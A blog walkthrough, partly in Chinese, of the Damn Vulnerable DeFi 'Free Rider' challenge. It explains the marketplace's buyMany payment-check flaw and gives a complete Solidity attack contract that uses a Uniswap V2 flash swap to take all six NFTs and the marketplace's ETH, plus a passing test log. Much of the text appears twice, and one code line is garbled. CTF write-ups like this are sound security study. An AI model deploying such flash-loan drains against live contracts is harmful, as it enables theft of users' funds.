web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You want to build some rep with this buyer, so you've agreed with the plan.
Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.
目标: 取走交易所中的6个NFT发给雇主,获得45ETH酬金
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker must have earned all ETH from the payout
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(BUYER_PAYOUT);
expect(await ethers.provider.getBalance(this.buyerContract.address)).to.be.eq("0");
// The buyer extracts all NFTs from its associated contract
for (let tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
await this.nft
.connect(buyer)
.transferFrom(this.buyerContract.address, buyer.address, tokenId);
expect(await this.nft.ownerOf(tokenId)).to.be.eq(buyer.address);
}
// Exchange must have lost NFTs and ETH
expect(await this.marketplace.amountOfOffers()).to.be.eq("0");
expect(await ethers.provider.getBalance(this.marketplace.address)).to.be.lt(
MARKETPLACE_INITIAL_ETH_BALANCE,
);
});
free-rider.challenge.js
攻击者获得初始0.5 ETH
部署Uniswap V2, 注入15000 DVT token : 9000 WETH
部署FreeRiderNFTMarketplace NFT市场合约并创建6个DVNFT,转入90 ETH
将所有NFT授权给NFT市场
每个NFT定价15 ETH
部署FreeRiderBuyer 雇主合约
FreeRiderBuyer.sol 雇主合约, 继承自IERC721Receiver
onERC721Received ERC721回退函数
......
received++;
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
......
收到6个NFT后, 雇主向攻击者支付45 ETH酬金
FreeRiderNFTMarketplace.sol NFT市场合约
constructor 构造函数, 创建DVNFT合约并mint出6个至交易所 offerMany NFT挂单函数, 通过循环调用_offerOne 完成批量挂单
check 挂单价大于0
check 挂单发起者为NFT拥有者
check NFT已approve授权给NFT市场
挂单价格存入offers[tokenId] 映射中
amountOfOffers 挂单数自增
buyMany NFT购买函数,通过循环调用_buyOne 批量购买
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
check 支付价格大于0
check msg.value 大于等于支付价格
每次购买后, 挂单数自减
转移NFT至购买者
向卖家支付ETH
require(msg.value >= priceToPay, "Amount paid is not enough");
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
在buyMany 购买函数循环中, 仅检查msg.value 满足大于单轮NFT的价格, 即可通过所有批量购买
向卖家付款发生在转移NFT之后, 因此payable(token.ownerOf(tokenId)).sendValue(priceToPay); 将从合约向购买者付款
向UniSwap V2 发起 Flash Swaps 闪电贷借出15 ETH以满足购买单个NFT
在闪电贷回退函数中购买6个NFT, msg.value 传入15 ETH, 执行完成后将得到6个NFT和来自NFT市场的90 ETH
转移6个NFT至雇主合约, 触发ERC721回退函数收到45 ETH佣金
计算还款金额并还款完成闪电贷
转移ETH 至攻击者合约
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackFactory = await ethers.getContractFactory("FreeRiderAttack", attacker);
const exploit = await AttackFactory.deploy(
this.uniswapPair.address,
this.marketplace.address,
this.weth.address,
this.buyerContract.address,
);
await exploit.attack();
});
运行通过
❯ yarn run free-rider
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/free-rider/free-rider.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/free-rider/free-rider.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Free Rider
✓ Exploit (337ms)
1 passing (4s)
Done in 6.39s.
Twitter: @0xRunstar
A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You want to build some rep with this buyer, so you've agreed with the plan.
Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.
目标: 取走交易所中的6个NFT发给雇主,获得45ETH酬金
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker must have earned all ETH from the payout
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(BUYER_PAYOUT);
expect(await ethers.provider.getBalance(this.buyerContract.address)).to.be.eq("0");
// The buyer extracts all NFTs from its associated contract
for (let tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
await this.nft
.connect(buyer)
.transferFrom(this.buyerContract.address, buyer.address, tokenId);
expect(await this.nft.ownerOf(tokenId)).to.be.eq(buyer.address);
}
// Exchange must have lost NFTs and ETH
expect(await this.marketplace.amountOfOffers()).to.be.eq("0");
expect(await ethers.provider.getBalance(this.marketplace.address)).to.be.lt(
MARKETPLACE_INITIAL_ETH_BALANCE,
);
});
free-rider.challenge.js
攻击者获得初始0.5 ETH
部署Uniswap V2, 注入15000 DVT token : 9000 WETH
部署FreeRiderNFTMarketplace NFT市场合约并创建6个DVNFT,转入90 ETH
将所有NFT授权给NFT市场
每个NFT定价15 ETH
部署FreeRiderBuyer 雇主合约
FreeRiderBuyer.sol 雇主合约, 继承自IERC721Receiver
onERC721Received ERC721回退函数
......
received++;
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
......
收到6个NFT后, 雇主向攻击者支付45 ETH酬金
FreeRiderNFTMarketplace.sol NFT市场合约
constructor 构造函数, 创建DVNFT合约并mint出6个至交易所 offerMany NFT挂单函数, 通过循环调用_offerOne 完成批量挂单
check 挂单价大于0
check 挂单发起者为NFT拥有者
check NFT已approve授权给NFT市场
挂单价格存入offers[tokenId] 映射中
amountOfOffers 挂单数自增
buyMany NFT购买函数,通过循环调用_buyOne 批量购买
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
check 支付价格大于0
check msg.value 大于等于支付价格
每次购买后, 挂单数自减
转移NFT至购买者
向卖家支付ETH
require(msg.value >= priceToPay, "Amount paid is not enough");
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
在buyMany 购买函数循环中, 仅检查msg.value 满足大于单轮NFT的价格, 即可通过所有批量购买
向卖家付款发生在转移NFT之后, 因此payable(token.ownerOf(tokenId)).sendValue(priceToPay); 将从合约向购买者付款
向UniSwap V2 发起 Flash Swaps 闪电贷借出15 ETH以满足购买单个NFT
在闪电贷回退函数中购买6个NFT, msg.value 传入15 ETH, 执行完成后将得到6个NFT和来自NFT市场的90 ETH
转移6个NFT至雇主合约, 触发ERC721回退函数收到45 ETH佣金
计算还款金额并还款完成闪电贷
转移ETH 至攻击者合约
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackFactory = await ethers.getContractFactory("FreeRiderAttack", attacker);
const exploit = await AttackFactory.deploy(
this.uniswapPair.address,
this.marketplace.address,
this.weth.address,
this.buyerContract.address,
);
await exploit.attack();
});
运行通过
❯ yarn run free-rider
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/free-rider/free-rider.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/free-rider/free-rider.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Free Rider
✓ Exploit (337ms)
1 passing (4s)
Done in 6.39s.
Twitter: @0xRunstar
// SPDX-License-Identifier: MIT
interface IUniswapV2Pair {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
}
interface IUniswapV2Callee {
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
interface IFreeRiderNFTMarketplace {
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external;
function buyMany(uint256[] calldata tokenIds) external payable;
function token() external returns (IERC721);
}
interface IWETH {
function transfer(address recipient, uint256 amount) external returns (bool);
function deposit() external payable;
function withdraw(uint256 amount) external;
}
interface IERC721 {
function setApprovalForAll(address operator, bool approved) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
address freeRiderBuyer;
address immutable attacker;
IUniswapV2Pair immutable uniswapPair;
IFreeRiderNFTMarketplace immutable nftMarketplace;
IWETH immutable weth;
IERC721 immutable nft;
constructor(
IUniswapV2Pair _uniswapPair,
IFreeRiderNFTMarketplace _nftMarketplace,
IWETH _weth,
address _freeRiderBuyer
) {
attacker = msg.sender;
uniswapPair = _uniswapPair;
nftMarketplace = _nftMarketplace;
weth = _weth;
nft = _nftMarketplace.token();
freeRiderBuyer = _freeRiderBuyer;
}
// 发起flash swap闪电贷
function attack() external {
uniswapPair.swap(15 ether, 0, address(this), hex"00");
}
// 闪电贷回退函数
function uniswapV2Call(
address,
uint256,
uint256,
bytes calldata
) external override {
weth.withdraw(15 ether);
// 用15 ETH 购买6个NFT
uint256[] memory tokenIds = new uint256Unsupported embed;
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
nftMarketplace.buyMany{ value: 15 ether }(tokenIds);
// 将NFT发送给雇主
for (uint8 tokenId = 0; tokenId < 6; tokenId++) {
nft.safeTransferFrom(address(this), freeRiderBuyer, tokenId);
}
// 计算闪电贷手续费
uint256 fee = ((15 ether * 3) / uint256(997)) + 1;
weth.deposit{ value: 15 ether + fee }();
weth.transfer(address(uniswapPair), 15 ether + fee);
// 转移ETH至攻击者地址
payable(address(attacker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
interface IUniswapV2Pair {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
}
interface IUniswapV2Callee {
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
interface IFreeRiderNFTMarketplace {
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external;
function buyMany(uint256[] calldata tokenIds) external payable;
function token() external returns (IERC721);
}
interface IWETH {
function transfer(address recipient, uint256 amount) external returns (bool);
function deposit() external payable;
function withdraw(uint256 amount) external;
}
interface IERC721 {
function setApprovalForAll(address operator, bool approved) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
address freeRiderBuyer;
address immutable attacker;
IUniswapV2Pair immutable uniswapPair;
IFreeRiderNFTMarketplace immutable nftMarketplace;
IWETH immutable weth;
IERC721 immutable nft;
constructor(
IUniswapV2Pair _uniswapPair,
IFreeRiderNFTMarketplace _nftMarketplace,
IWETH _weth,
address _freeRiderBuyer
) {
attacker = msg.sender;
uniswapPair = _uniswapPair;
nftMarketplace = _nftMarketplace;
weth = _weth;
nft = _nftMarketplace.token();
freeRiderBuyer = _freeRiderBuyer;
}
// 发起flash swap闪电贷
function attack() external {
uniswapPair.swap(15 ether, 0, address(this), hex"00");
}
// 闪电贷回退函数
function uniswapV2Call(
address,
uint256,
uint256,
bytes calldata
) external override {
weth.withdraw(15 ether);
// 用15 ETH 购买6个NFT
uint256[] memory tokenIds = new uint256Unsupported embed;
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
nftMarketplace.buyMany{ value: 15 ether }(tokenIds);
// 将NFT发送给雇主
for (uint8 tokenId = 0; tokenId < 6; tokenId++) {
nft.safeTransferFrom(address(this), freeRiderBuyer, tokenId);
}
// 计算闪电贷手续费
uint256 fee = ((15 ether * 3) / uint256(997)) + 1;
weth.deposit{ value: 15 ether + fee }();
weth.transfer(address(uniswapPair), 15 ether + fee);
// 转移ETH至攻击者地址
payable(address(attacker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
No activity yet